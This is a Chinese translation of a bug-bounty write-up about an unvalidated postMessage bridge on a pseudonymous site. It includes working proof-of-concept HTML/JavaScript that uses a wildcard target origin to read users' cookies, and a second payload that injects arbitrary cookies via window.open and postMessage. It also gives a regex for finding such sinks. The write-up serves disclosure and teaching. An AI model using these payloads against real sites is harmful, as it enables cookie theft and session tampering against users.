Hi
在我回顾某个目标网站已发出的HTTP请求时,我发现了一个接收器,它能帮助我利用postMessage窃取或替换其他用户的cookie。
不幸的是,我的大部分发现属于私人项目,所以我们不打算透露全部细节:(。
#背景知识
你是否曾经需要当前窗口和内部if rame之间进行通信?跨域呢?我敢打赌你肯定有过,但现在我们有一个实现它的更好选择!
该解决方案称为postMessage,是HTML5 Web消息传递规范的一部分。
让我们举个例子,在这个示例中,我们有一个包含js代码的页面,用于侦听传入的消息并记录它们。
主页代码
<sc ript>
function messages(event)
{
console.log(event);
}
window.addEventListener(‘message’,messages,false);
console.log(“listening”);</sc ript>
<if rame src="url/child.html"></if rame>
和子页中也有一行代码,用于向主页发送消息。
子页代码
window.parent.postMessage("Hello parent", "target");
发生了什么事?
- 首先,访问主页,它将加载渲染子页。
- 子页面发送消息给它的主页,主页接收它并通过控制台记录它。
你看到这里的安全隐患吗?
如果用户能够target的值将会发生什么?
如果子页面易被点击劫持将会发生什么
Tip
如果目标源是 * ,则消息可以发送到引用了子页面的任何域。
视情况而定。这有可能导致严重的安全问题。让我们用一个在实际公司中找到的实际例子来演示。
回到这个发现
我们称我们的目标为“onga.com”。
不管怎么说,我在这个域名里进行了各种尝试,寻找些有趣的东西。我的扫描器遍历爬行了所有页面,捕获了一个HTML文件,名为sync.html,其中包含少量html内容。
重要的是,貌似它有不安全的ja vasc ript语句。
该文件没有其他元素,除了sc ript,它貌似起到一个桥梁的作用。
在sync.html文件中,我注意到一个post消息被发送到一个名为wOrigin的变量。
window.parent.postMessage(JSON.stringify(msg), wOrigin);
我们现在有两个主要变量:msg和wOrigin
我上下滚动查看这些变量是在哪里初始化的,能被我控制么?
令人惊讶的是,msg变量是cookies,另一个是用户的输入。
关于寻找第二个变量,幸运的是,我发现了3个事件。
首先看看这个代码片段,观察下面几行:
var fdata = JSON.parse(decodeURIComponent(window.location.hash.substr(1)));
var ns = fdata.ns;
var worigin = fdata.worigin;
代码非常简单,
首先,访问当前窗口url的#后面的值
解码它
解析为JSON对象
创建新的两个变量,ns代表命名空间,wOrigin代表窗口的origin
其中window.location.hash是众所周知的敏感点,当您看到它时,应该尝试将其用作基于dom的xss的攻击。但这不是我们关心的问题。
很快地,我继续查找其他代码行,看看变量ns和worigin在传递到postmessage之前是否经过了过滤,幸运的是它们没有。
开发exploit
我们需要调整一下步骤。
创建两个变量ns和wOrigin
赋予值ns=anyblah 和 wOrigin=*
创建JSON对象 {"ns":"anyblah","wOrigin":"*"}
创建POC URL: http://vulnerable-onga.com/sync.html#{"ns":"anyblah","wOrigin":"*"}
当页面加载时,无论其来源如何,都将向其主页发送一条post消息,我们使用通配符 * 来配置origin。
现在我们需要在父页面中设置一个侦听器来接收消息。
<sc ript>
function rcv(event)
{
console.log(event);
}
window.addEventListener('message',rcv,false);
</sc ript>
创建一个if rame来加载有漏洞页面作为一个子内容。
整体exploit
<sc ript>
function rcv(event)
{
console.log(event);
}
window.addEventListener('message',rcv,false);
</sc ript>
<if rame src='http://vulnerable-onga.com/sync.html#{"ns":"anyblah","wOrigin":"*"}' />
我们完成了吗????
当然不是,先别急着去庆祝,为了让我们玩得更开心,以及漏洞文件只有57行,所以我决定更加仔细阅读它。
我发现了另一条神奇的攻击路线。
window.addEventListener('message', h_message);
我开始查看h_message函数的内容:
function h_message(event)
{
var data = null;
try { data = JSON.parse(event.data); } catch(e) { return;}
if (data.msgType !== "write" && data.namespace !== ns) {
return;
}
setCookie(data.cookieName, data.cookieVal,parseInt(data.expiresDays, 10), data.secureOnly);
}
让我们理解下这个函数的目的是啥?
传入参数应该是JSON对象。
JSON对象应该包含属性msgType,而且它必须等于write。
另一个属性namespace,它应该与“ns”的值相同,两者都在用户的控制之下。
其中所有条件不能同时满足,因为开发人员使用了负AND运算符,顺便说一下,这不是一个严重的问题。
达成以上条件,返回将是false,则不会到达return语句,将执行对另一个函数,调用setCookie()函数,该函数利用其他json属性作为参数。
这段代码确实存在漏洞,没有验证messgae的来源,所以任何网站都可以发送消息并将恶意值传递给setCookie函数。
根据上面的代码,我构造了以下JSON:
{"msgType":"write","namespace":"a","cookieName":"injectedt","cookieVal":"hacked","expiresDays":10,"secureOnly":false}
目标url是 /sync.html#{"ns":"a","wOrigin":"*"}
完整的PoC如下:
<sc ript>
var tar='http://onga.com/sync.html#{"ns":"a","wOrigin":"*"}';
var pay={"msgType":"write","namespace":"a","cookieName":"injectedt","cookieVal":"hacked","expiresDays":10,"secureOnly":false};
var c= window.open(tar,"child");
c.postMessage(pay,"*");
</sc ript>
将以上代码保存为html并打开它,cookie就会被成功注入,并且我能够根据漏洞网站的行为注入任意cookie。
Tip2
- 如果页面存在点劫持的防护,您可以使用window.open('url')
Video for poc1
关于制作工具,只需请求用url并搜索以下模式的代码:
(\.location\.hash)|(window\.addEventListener\('message')|(\.postMessage\()
欢迎大家订阅我的频道。
原文链接:https://medium.com/@yassergersy/exploiting-post-message-to-steal-users-cookies-7df43a00289a